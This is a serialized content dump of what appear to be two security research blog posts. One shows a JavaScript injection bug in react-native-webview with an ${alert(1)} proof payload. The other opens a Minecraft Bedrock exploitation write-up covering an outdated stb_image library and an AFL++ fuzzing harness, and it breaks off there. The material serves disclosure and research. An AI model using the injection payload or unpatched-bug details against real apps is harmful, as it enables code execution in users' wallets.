skimming through the code was how the ",{"type":26,"tag":83,"props":8910,"children":8912},{"className":8911},[],[8913],{"type":32,"value":8914},"injectJavascriptObject",{"type":32,"value":8916}," attribute worked. Here is the code snippet:",{"type":26,"tag":207,"props":8918,"children":8920},{"className":7019,"code":8919,"language":7021,"meta":8,"style":8},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[8921],{"type":26,"tag":83,"props":8922,"children":8923},{"__ignoreMap":8},[8924,8946,8976,9013,9069,9178,9190,9203],{"type":26,"tag":217,"props":8925,"children":8926},{"class":7028,"line":7029},[8927,8932,8937,8942],{"type":26,"tag":217,"props":8928,"children":8929},{"style":7154},[8930],{"type":32,"value":8931},"    private",{"type":26,"tag":217,"props":8933,"children":8934},{"style":7119},[8935],{"type":32,"value":8936}," void",{"type":26,"tag":217,"props":8938,"children":8939},{"style":7064},[8940],{"type":32,"value":8941}," injectJavascriptObject",{"type":26,"tag":217,"props":8943,"children":8944},{"style":7048},[8945],{"type":32,"value":7841},{"type":26,"tag":217,"props":8947,"children":8948},{"class":7028,"line":6770},[8949,8954,8958,8963,8967,8972],{"type":26,"tag":217,"props":8950,"children":8951},{"style":7042},[8952],{"type":32,"value":8953},"      if",{"type":26,"tag":217,"props":8955,"children":8956},{"style":7048},[8957],{"type":32,"value":7051},{"type":26,"tag":217,"props":8959,"children":8960},{"style":7064},[8961],{"type":32,"value":8962},"getSettings",{"type":26,"tag":217,"props":8964,"children":8965},{"style":7048},[8966],{"type":32,"value":8312},{"type":26,"tag":217,"props":8968,"children":8969},{"style":7064},[8970],{"type":32,"value":8971},"getJavaScriptEnabled",{"type":26,"tag":217,"props":8973,"children":8974},{"style":7048},[8975],{"type":32,"value":7072},{"type":26,"tag":217,"props":8977,"children":8978},{"class":7028,"line":6779},[8979,8984,8989,8994,8999,9003,9008],{"type":26,"tag":217,"props":8980,"children":8981},{"style":7119},[8982],{"type":32,"value":8983},"        String",{"type":26,"tag":217,"props":8985,"children":8986},{"style":7054},[8987],{"type":32,"value":8988}," js",{"type":26,"tag":217,"props":8990,"children":8991},{"style":7149},[8992],{"type":32,"value":8993}," =",{"type":26,"tag":217,"props":8995,"children":8996},{"style":7338},[8997],{"type":32,"value":8998}," \"(function(){",{"type":26,"tag":217,"props":9000,"children":9001},{"style":8604},[9002],{"type":32,"value":8607},{"type":26,"tag":217,"props":9004,"children":9005},{"style":7338},[9006],{"type":32,"value":9007},"\"",{"type":26,"tag":217,"props":9009,"children":9010},{"style":7149},[9011],{"type":32,"value":9012}," +\n",{"type":26,"tag":217,"props":9014,"children":9015},{"class":7028,"line":7140},[9016,9021,9026,9031,9035,9040,9044,9048,9052,9057,9061,9065],{"type":26,"tag":217,"props":9017,"children":9018},{"style":7338},[9019],{"type":32,"value":9020},"          \"    window.\"",{"type":26,"tag":217,"props":9022,"children":9023},{"style":7149},[9024],{"type":32,"value":9025}," +",{"type":26,"tag":217,"props":9027,"children":9028},{"style":7048},[9029],{"type":32,"value":9030}," JAVASCRIPT_INTERFACE ",{"type":26,"tag":217,"props":9032,"children":9033},{"style":7149},[9034],{"type":32,"value":3540},{"type":26,"tag":217,"props":9036,"children":9037},{"style":7338},[9038],{"type":32,"value":9039}," \" = window.\"",{"type":26,"tag":217,"props":9041,"children":9042},{"style":7149},[9043],{"type":32,"value":9025},{"type":26,"tag":217,"props":9045,"children":9046},{"style":7048},[9047],{"type":32,"value":9030},{"type":26,"tag":217,"props":9049,"children":9050},{"style":7149},[9051],{"type":32,"value":3540},{"type":26,"tag":217,"props":9053,"children":9054},{"style":7338},[9055],{"type":32,"value":9056}," \" || {};",{"type":26,"tag":217,"props":9058,"children":9059},{"style":8604},[9060],{"type":32,"value":8607},{"type":26,"tag":217,"props":9062,"children":9063},{"style":7338},[9064],{"type":32,"value":9007},{"type":26,"tag":217,"props":9066,"children":9067},{"style":7149},[9068],{"type":32,"value":9012},{"type":26,"tag":217,"props":9070,"children":9071},{"class":7028,"line":7165},[9072,9076,9080,9084,9088,9093,9097,9102,9107,9111,9116,9120,9125,9129,9134,9138,9143,9147,9152,9157,9161,9166,9170,9174],{"type":26,"tag":217,"props":9073,"children":9074},{"style":7338},[9075],{"type":32,"value":9020},{"type":26,"tag":217,"props":9077,"children":9078},{"style":7149},[9079],{"type":32,"value":9025},{"type":26,"tag":217,"props":9081,"children":9082},{"style":7048},[9083],{"type":32,"value":9030},{"type":26,"tag":217,"props":9085,"children":9086},{"style":7149},[9087],{"type":32,"value":3540},{"type":26,"tag":217,"props":9089,"children":9090},{"style":7338},[9091],{"type":32,"value":9092}," \".injectedObjectJson = function () { return \"",{"type":26,"tag":217,"props":9094,"children":9095},{"style":7149},[9096],{"type":32,"value":9025},{"type":26,"tag":217,"props":9098,"children":9099},{"style":7048},[9100],{"type":32,"value":9101}," (injectedJavaScriptObject ",{"type":26,"tag":217,"props":9103,"children":9104},{"style":7149},[9105],{"type":32,"value":9106},"==",{"type":26,"tag":217,"props":9108,"children":9109},{"style":7154},[9110],{"type":32,"value":7157},{"type":26,"tag":217,"props":9112,"children":9113},{"style":7042},[9114],{"type":32,"value":9115}," ?",{"type":26,"tag":217,"props":9117,"children":9118},{"style":7154},[9119],{"type":32,"value":7157},{"type":26,"tag":217,"props":9121,"children":9122},{"style":7042},[9123],{"type":32,"value":9124}," :",{"type":26,"tag":217,"props":9126,"children":9127},{"style":7048},[9128],{"type":32,"value":7051},{"type":26,"tag":217,"props":9130,"children":9131},{"style":7338},[9132],{"type":32,"value":9133},"\"`\"",{"type":26,"tag":217,"props":9135,"children":9136},{"style":7149},[9137],{"type":32,"value":9025},{"type":26,"tag":217,"props":9139,"children":9140},{"style":7048},[9141],{"type":32,"value":9142}," injectedJavaScriptObject ",{"type":26,"tag":217,"props":9144,"children":9145},{"style":7149},[9146],{"type":32,"value":3540},{"type":26,"tag":217,"props":9148,"children":9149},{"style":7338},[9150],{"type":32,"value":9151}," \"`\"",{"type":26,"tag":217,"props":9153,"children":9154},{"style":7048},[9155],{"type":32,"value":9156},")) ",{"type":26,"tag":217,"props":9158,"children":9159},{"style":7149},[9160],{"type":32,"value":3540},{"type":26,"tag":217,"props":9162,"children":9163},{"style":7338},[9164],{"type":32,"value":9165}," \"; };",{"type":26,"tag":217,"props":9167,"children":9168},{"style":8604},[9169],{"type":32,"value":8607},{"type":26,"tag":217,"props":9171,"children":9172},{"style":7338},[9173],{"type":32,"value":9007},{"type":26,"tag":217,"props":9175,"children":9176},{"style":7149},[9177],{"type":32,"value":9012},{"type":26,"tag":217,"props":9179,"children":9180},{"class":7028,"line":7178},[9181,9186],{"type":26,"tag":217,"props":9182,"children":9183},{"style":7338},[9184],{"type":32,"value":9185},"          \"})();\"",{"type":26,"tag":217,"props":9187,"children":9188},{"style":7048},[9189],{"type":32,"value":7162},{"type":26,"tag":217,"props":9191,"children":9192},{"class":7028,"line":7389},[9193,9198],{"type":26,"tag":217,"props":9194,"children":9195},{"style":7064},[9196],{"type":32,"value":9197},"        evaluateJavascriptWithFallback",{"type":26,"tag":217,"props":9199,"children":9200},{"style":7048},[9201],{"type":32,"value":9202},"(js);\n",{"type":26,"tag":217,"props":9204,"children":9205},{"class":7028,"line":7406},[9206],{"type":26,"tag":217,"props":9207,"children":9208},{"style":7048},[9209],{"type":32,"value":9210},"      }\n",{"type":26,"tag":39,"props":9212,"children":9213},{},[9214,9216,9222,9224,9229,9231,9237],{"type":32,"value":9215},"It basically injects a javascript code with the ",{"type":26,"tag":83,"props":9217,"children":9219},{"className":9218},[],[9220],{"type":32,"value":9221},"injectedJavascriptObject",{"type":32,"value":9223}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":26,"tag":83,"props":9225,"children":9227},{"className":9226},[],[9228],{"type":32,"value":9221},{"type":32,"value":9230},". If we control a single attribute we can inject a payload like ",{"type":26,"tag":83,"props":9232,"children":9234},{"className":9233},[],[9235],{"type":32,"value":9236},"${alert(1)}",{"type":32,"value":9238}," and achieve XSS in the context of the loaded page.",{"type":26,"tag":39,"props":9240,"children":9241},{},[9242,9244,9251],{"type":32,"value":9243},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":26,"tag":163,"props":9245,"children":9248},{"href":9246,"rel":9247},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[167],[9249],{"type":32,"value":9250},"PR with the report and fix",{"type":32,"value":180},{"type":26,"tag":39,"props":9253,"children":9254},{},[9255],{"type":32,"value":9256},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":26,"tag":39,"props":9258,"children":9259},{},[9260,9262,9268],{"type":32,"value":9261},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":26,"tag":83,"props":9263,"children":9265},{"className":9264},[],[9266],{"type":32,"value":9267},"injectedJavaScriptObject",{"type":32,"value":9269}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":26,"tag":607,"props":9271,"children":9273},{"id":9272},"conclusion",[9274],{"type":32,"value":9275},"Conclusion",{"type":26,"tag":39,"props":9277,"children":9278},{},[9279],{"type":32,"value":9280},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":26,"tag":9282,"props":9283,"children":9284},"style",{},[9285],{"type":32,"value":9286},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":8,"searchDepth":6770,"depth":6770,"links":9288},[9289,9293,9296,9297],{"id":6857,"depth":6770,"text":6860,"children":9290},[9291,9292],{"id":6868,"depth":6779,"text":6871},{"id":6943,"depth":6779,"text":6946},{"id":6976,"depth":6770,"text":6979,"children":9294},[9295],{"id":7192,"depth":6779,"text":7195},{"id":8825,"depth":6770,"text":8828},{"id":8900,"depth":6770,"text":8903,"children":9298},[9299],{"id":9272,"depth":6779,"text":9275},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":9304,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":9305,"description":9306,"date":9307,"author":9308,"image":9309,"isFeatured":17,"onBlogPage":17,"tags":9311,"body":9314,"_type":6799,"_id":18860,"_source":6801,"_file":18861,"_stem":18862,"_extension":6804},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z","hrvoje",{"src":9310,"width":6816,"height":6817},"/posts/minecraft-heap-overflow-to-rce/title.png",[9312,9313],"minecraft","rce",{"type":23,"children":9315,"toc":18837},[9316,9321,9326,9331,9337,9342,9362,9367,9373,9378,9383,9389,9394,9399,9404,9410,9415,9420,9426,9447,9459,9467,9489,9503,9510,9516,9526,9546,9551,9557,9571,9934,9939,9947,9953,9973,10295,10324,10367,10379,10387,10392,10865,10884,10905,11257,11283,11555,11580,11607,11818,11837,11845,11864,11870,11932,11936,11958,11964,11969,11974,11980,11985,11999,12005,12019,12025,12038,12043,12051,12056,12062,12083,12091,12104,12107,12112,12126,12131,12136,12142,12147,12170,12175,12181,12186,12198,12210,12332,12353,12358,12363,12369,12374,12394,13023,13036,14133,14138,14146,14151,14157,14162,14170,14183,14188,14193,14200,14213,14218,14225,14282,14302,14309,14329,14336,14339,14344,14349,14355,14367,14380,14388,14460,14472,14506,14514,14519,14524,14530,14543,14562,14574,14579,14587,14606,14614,14633,14641,14667,14675,14680,14688,14693,14701,14704,14709,14714,14720,14733,14751,14792,14824,14832,14837,14843,14848,14853,14859,14872,15043,15055,15063,15068,15075,15080,15143,15192,15204,15209,15235,15310,15349,15354,15362,15383,15388,15414,15448,15502,15549,15555,15574,15607,15615,15718,15789,15795,15821,15828,15833,15840,15845,16094,16120,16125,16173,16178,16184,16219,16231,16263,16271,16310,16318,16323,16331,16336,16344,16356,16364,16376,16384,16396,16416,16422,16442,16459,16467,16479,16487,16507,16512,16520,16525,16533,16559,16570,16577,16582,16590,16595,16603,16608,16616,16621,16629,16634,16642,16647,16655,16696,16703,16708,16716,16721,16729,16734,16742,16747,16752,16760,16765,16773,16799,16807,16834,16842,16847,16855,16860,16868,16876,16881,16889,16894,16902,16905,16916,16951,16969,16977,16997,17003,17022,17081,17101,17109,17112,17151,17211,17216,17222,17235,17243,17295,17334,17342,17375,17378,17399,17407,17413,17418,17426,17466,17507,17527,17532,17537,17555,17561,17566,17586,17647,17655,17682,17688,17708,17713,17718,17725,17790,17795,17802,17823,17828,17840,17846,17880,17887,17892,17920,17927,17986,17998,18005,18068,18087,18093,18127,18148,18175,18183,18237,18308,18314,18335,18378,18383,18787,18793,18798,18814,18818,18823,18828,18833],{"type":26,"tag":454,"props":9317,"children":9319},{"id":9318},"pwning-minecraft-4-byte-heap-overflow-to-rce",[9320],{"type":32,"value":9305},{"type":26,"tag":39,"props":9322,"children":9323},{},[9324],{"type":32,"value":9325},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":26,"tag":39,"props":9327,"children":9328},{},[9329],{"type":32,"value":9330},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":26,"tag":27,"props":9332,"children":9334},{"id":9333},"the-target",[9335],{"type":32,"value":9336},"The Target",{"type":26,"tag":39,"props":9338,"children":9339},{},[9340],{"type":32,"value":9341},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":26,"tag":39,"props":9343,"children":9344},{},[9345,9347,9353,9355,9360],{"type":32,"value":9346},"There are two main editions: ",{"type":26,"tag":9348,"props":9349,"children":9350},"strong",{},[9351],{"type":32,"value":9352},"Minecraft Java Edition",{"type":32,"value":9354},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":26,"tag":9348,"props":9356,"children":9357},{},[9358],{"type":32,"value":9359},"Minecraft Bedrock Edition",{"type":32,"value":9361},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":26,"tag":39,"props":9363,"children":9364},{},[9365],{"type":32,"value":9366},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":26,"tag":607,"props":9368,"children":9370},{"id":9369},"choice-of-context",[9371],{"type":32,"value":9372},"Choice of Context",{"type":26,"tag":39,"props":9374,"children":9375},{},[9376],{"type":32,"value":9377},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":26,"tag":39,"props":9379,"children":9380},{},[9381],{"type":32,"value":9382},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":26,"tag":607,"props":9384,"children":9386},{"id":9385},"resource-packs",[9387],{"type":32,"value":9388},"Resource Packs",{"type":26,"tag":39,"props":9390,"children":9391},{},[9392],{"type":32,"value":9393},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":26,"tag":39,"props":9395,"children":9396},{},[9397],{"type":32,"value":9398},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":26,"tag":39,"props":9400,"children":9401},{},[9402],{"type":32,"value":9403},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":26,"tag":27,"props":9405,"children":9407},{"id":9406},"finding-a-memory-corruption-bug",[9408],{"type":32,"value":9409},"Finding a Memory Corruption Bug",{"type":26,"tag":39,"props":9411,"children":9412},{},[9413],{"type":32,"value":9414},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":26,"tag":39,"props":9416,"children":9417},{},[9418],{"type":32,"value":9419},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":26,"tag":607,"props":9421,"children":9423},{"id":9422},"locating-image-parsing-code",[9424],{"type":32,"value":9425},"Locating Image Parsing Code",{"type":26,"tag":39,"props":9427,"children":9428},{},[9429,9431,9437,9439,9445],{"type":32,"value":9430},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":26,"tag":83,"props":9432,"children":9434},{"className":9433},[],[9435],{"type":32,"value":9436},"PNG",{"type":32,"value":9438}," or ",{"type":26,"tag":83,"props":9440,"children":9442},{"className":9441},[],[9443],{"type":32,"value":9444},"GIF",{"type":32,"value":9446}," and look for error logging or other messages that use those substrings.",{"type":26,"tag":39,"props":9448,"children":9449},{},[9450,9452,9457],{"type":32,"value":9451},"Searching for the string ",{"type":26,"tag":83,"props":9453,"children":9455},{"className":9454},[],[9456],{"type":32,"value":9444},{"type":32,"value":9458}," returned some interesting results:",{"type":26,"tag":39,"props":9460,"children":9461},{},[9462],{"type":26,"tag":6468,"props":9463,"children":9466},{"alt":9464,"src":9465},"image","/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":26,"tag":39,"props":9468,"children":9469},{},[9470,9472,9479,9481,9488],{"type":32,"value":9471},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":26,"tag":163,"props":9473,"children":9476},{"href":9474,"rel":9475},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[167],[9477],{"type":32,"value":9478},"stb_image.h",{"type":32,"value":9480},". For an example: usage of ",{"type":26,"tag":163,"props":9482,"children":9485},{"href":9483,"rel":9484},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[167],[9486],{"type":32,"value":9487},"bad Image Descriptor",{"type":32,"value":180},{"type":26,"tag":39,"props":9490,"children":9491},{},[9492,9494,9501],{"type":32,"value":9493},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":26,"tag":163,"props":9495,"children":9498},{"href":9496,"rel":9497},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[167],[9499],{"type":32,"value":9500},"stbi__gif_load_next",{"type":32,"value":9502},", and loaded the resource pack - this confirmed its usage:",{"type":26,"tag":39,"props":9504,"children":9505},{},[9506],{"type":26,"tag":6468,"props":9507,"children":9509},{"alt":9464,"src":9508},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":26,"tag":607,"props":9511,"children":9513},{"id":9512},"stb-image-library",[9514],{"type":32,"value":9515},"STB Image Library",{"type":26,"tag":39,"props":9517,"children":9518},{},[9519,9524],{"type":26,"tag":83,"props":9520,"children":9522},{"className":9521},[],[9523],{"type":32,"value":9478},{"type":32,"value":9525}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":26,"tag":39,"props":9527,"children":9528},{},[9529,9531,9536,9538,9545],{"type":32,"value":9530},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":26,"tag":83,"props":9532,"children":9534},{"className":9533},[],[9535],{"type":32,"value":9478},{"type":32,"value":9537}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":26,"tag":163,"props":9539,"children":9542},{"href":9540,"rel":9541},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[167],[9543],{"type":32,"value":9544},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":32,"value":180},{"type":26,"tag":39,"props":9547,"children":9548},{},[9549],{"type":32,"value":9550},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":26,"tag":631,"props":9552,"children":9554},{"id":9553},"fuzzing",[9555],{"type":32,"value":9556},"Fuzzing",{"type":26,"tag":39,"props":9558,"children":9559},{},[9560,9562,9569],{"type":32,"value":9561},"The fuzzer consisted of a very simple ",{"type":26,"tag":163,"props":9563,"children":9566},{"href":9564,"rel":9565},"https://github.com/AFLplusplus/AFLplusplus",[167],[9567],{"type":32,"value":9568},"AFL++",{"type":32,"value":9570}," harness:",{"type":26,"tag":207,"props":9572,"children":9575},{"code":9573,"language":2255,"meta":8,"className":9574,"style":8},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n","language-c shiki shiki-themes slack-dark",[9576],{"type":26,"tag":83,"props":9577,"children":9578},{"__ignoreMap":8},[9579,9592,9605,9612,9660,9673,9696,9703,9730,9747,9755,9762,9836,9861,9876,9883,9891,9904,9911,9927],{"type":26,"tag":217,"props":9580,"children":9581},{"class":7028,"line":7029},[9582,9587],{"type":26,"tag":217,"props":9583,"children":9584},{"style":7042},[9585],{"type":32,"value":9586},"#define",{"type":26,"tag":217,"props":9588,"children":9589},{"style":7064},[9590],{"type":32,"value":9591}," STB_IMAGE_IMPLEMENTATION\n",{"type":26,"tag":217,"props":9593,"children":9594},{"class":7028,"line":6770},[9595,9600],{"type":26,"tag":217,"props":9596,"children":9597},{"style":7042},[9598],{"type":32,"value":9599},"#include",{"type":26,"tag":217,"props":9601,"children":9602},{"style":7338},[9603],{"type":32,"value":9604}," \"./stb/stb_image.h\"\n",{"type":26,"tag":217,"props":9606,"children":9607},{"class":7028,"line":6779},[9608],{"type":26,"tag":217,"props":9609,"children":9610},{"emptyLinePlaceholder":17},[9611],{"type":32,"value":7817},{"type":26,"tag":217,"props":9613,"children":9614},{"class":7028,"line":7140},[9615,9620,9624,9628,9632,9637,9641,9646,9651,9656],{"type":26,"tag":217,"props":9616,"children":9617},{"style":7154},[9618],{"type":32,"value":9619},"int",{"type":26,"tag":217,"props":9621,"children":9622},{"style":7064},[9623],{"type":32,"value":7836},{"type":26,"tag":217,"props":9625,"children":9626},{"style":7048},[9627],{"type":32,"value":1851},{"type":26,"tag":217,"props":9629,"children":9630},{"style":7154},[9631],{"type":32,"value":9619},{"type":26,"tag":217,"props":9633,"children":9634},{"style":7054},[9635],{"type":32,"value":9636}," argc",{"type":26,"tag":217,"props":9638,"children":9639},{"style":7048},[9640],{"type":32,"value":7599},{"type":26,"tag":217,"props":9642,"children":9643},{"style":7154},[9644],{"type":32,"value":9645},"char",{"type":26,"tag":217,"props":9647,"children":9648},{"style":7149},[9649],{"type":32,"value":9650}," **",{"type":26,"tag":217,"props":9652,"children":9653},{"style":7054},[9654],{"type":32,"value":9655},"argv",{"type":26,"tag":217,"props":9657,"children":9658},{"style":7048},[9659],{"type":32,"value":7618},{"type":26,"tag":217,"props":9661,"children":9662},{"class":7028,"line":7165},[9663,9668],{"type":26,"tag":217,"props":9664,"children":9665},{"style":7154},[9666],{"type":32,"value":9667},"    int",{"type":26,"tag":217,"props":9669,"children":9670},{"style":7048},[9671],{"type":32,"value":9672}," x, y, comp;\n",{"type":26,"tag":217,"props":9674,"children":9675},{"class":7028,"line":7178},[9676,9681,9686,9691],{"type":26,"tag":217,"props":9677,"children":9678},{"style":7154},[9679],{"type":32,"value":9680},"    unsigned",{"type":26,"tag":217,"props":9682,"children":9683},{"style":7154},[9684],{"type":32,"value":9685}," char",{"type":26,"tag":217,"props":9687,"children":9688},{"style":7149},[9689],{"type":32,"value":9690}," *",{"type":26,"tag":217,"props":9692,"children":9693},{"style":7048},[9694],{"type":32,"value":9695},"ret;\n",{"type":26,"tag":217,"props":9697,"children":9698},{"class":7028,"line":7389},[9699],{"type":26,"tag":217,"props":9700,"children":9701},{"emptyLinePlaceholder":17},[9702],{"type":32,"value":7817},{"type":26,"tag":217,"props":9704,"children":9705},{"class":7028,"line":7406},[9706,9711,9716,9721,9726],{"type":26,"tag":217,"props":9707,"children":9708},{"style":7042},[9709],{"type":32,"value":9710},"    if",{"type":26,"tag":217,"props":9712,"children":9713},{"style":7048},[9714],{"type":32,"value":9715}," (argc ",{"type":26,"tag":217,"props":9717,"children":9718},{"style":7149},[9719],{"type":32,"value":9720},"!=",{"type":26,"tag":217,"props":9722,"children":9723},{"style":7130},[9724],{"type":32,"value":9725}," 2",{"type":26,"tag":217,"props":9727,"children":9728},{"style":7048},[9729],{"type":32,"value":7618},{"type":26,"tag":217,"props":9731,"children":9732},{"class":7028,"line":7439},[9733,9738,9743],{"type":26,"tag":217,"props":9734,"children":9735},{"style":7042},[9736],{"type":32,"value":9737},"        return",{"type":26,"tag":217,"props":9739,"children":9740},{"style":7130},[9741],{"type":32,"value":9742}," 1",{"type":26,"tag":217,"props":9744,"children":9745},{"style":7048},[9746],{"type":32,"value":7162},{"type":26,"tag":217,"props":9748,"children":9749},{"class":7028,"line":7487},[9750],{"type":26,"tag":217,"props":9751,"children":9752},{"style":7048},[9753],{"type":32,"value":9754},"    }\n",{"type":26,"tag":217,"props":9756,"children":9757},{"class":7028,"line":7524},[9758],{"type":26,"tag":217,"props":9759,"children":9760},{"emptyLinePlaceholder":17},[9761],{"type":32,"value":7817},{"type":26,"tag":217,"props":9763,"children":9764},{"class":7028,"line":7553},[9765,9770,9774,9779,9783,9787,9791,9795,9800,9805,9810,9814,9819,9823,9828,9832],{"type":26,"tag":217,"props":9766,"children":9767},{"style":7048},[9768],{"type":32,"value":9769},"    ret ",{"type":26,"tag":217,"props":9771,"children":9772},{"style":7149},[9773],{"type":32,"value":267},{"type":26,"tag":217,"props":9775,"children":9776},{"style":7064},[9777],{"type":32,"value":9778}," stbi_load",{"type":26,"tag":217,"props":9780,"children":9781},{"style":7048},[9782],{"type":32,"value":1851},{"type":26,"tag":217,"props":9784,"children":9785},{"style":7054},[9786],{"type":32,"value":9655},{"type":26,"tag":217,"props":9788,"children":9789},{"style":7048},[9790],{"type":32,"value":7127},{"type":26,"tag":217,"props":9792,"children":9793},{"style":7130},[9794],{"type":32,"value":185},{"type":26,"tag":217,"props":9796,"children":9797},{"style":7048},[9798],{"type":32,"value":9799},"], ",{"type":26,"tag":217,"props":9801,"children":9802},{"style":7149},[9803],{"type":32,"value":9804},"&",{"type":26,"tag":217,"props":9806,"children":9807},{"style":7048},[9808],{"type":32,"value":9809},"x, ",{"type":26,"tag":217,"props":9811,"children":9812},{"style":7149},[9813],{"type":32,"value":9804},{"type":26,"tag":217,"props":9815,"children":9816},{"style":7048},[9817],{"type":32,"value":9818},"y, ",{"type":26,"tag":217,"props":9820,"children":9821},{"style":7149},[9822],{"type":32,"value":9804},{"type":26,"tag":217,"props":9824,"children":9825},{"style":7048},[9826],{"type":32,"value":9827},"comp, ",{"type":26,"tag":217,"props":9829,"children":9830},{"style":7130},[9831],{"type":32,"value":1883},{"type":26,"tag":217,"props":9833,"children":9834},{"style":7048},[9835],{"type":32,"value":7669},{"type":26,"tag":217,"props":9837,"children":9838},{"class":7028,"line":7570},[9839,9843,9848,9852,9857],{"type":26,"tag":217,"props":9840,"children":9841},{"style":7042},[9842],{"type":32,"value":9710},{"type":26,"tag":217,"props":9844,"children":9845},{"style":7048},[9846],{"type":32,"value":9847}," (ret ",{"type":26,"tag":217,"props":9849,"children":9850},{"style":7149},[9851],{"type":32,"value":9106},{"type":26,"tag":217,"props":9853,"children":9854},{"style":7154},[9855],{"type":32,"value":9856}," 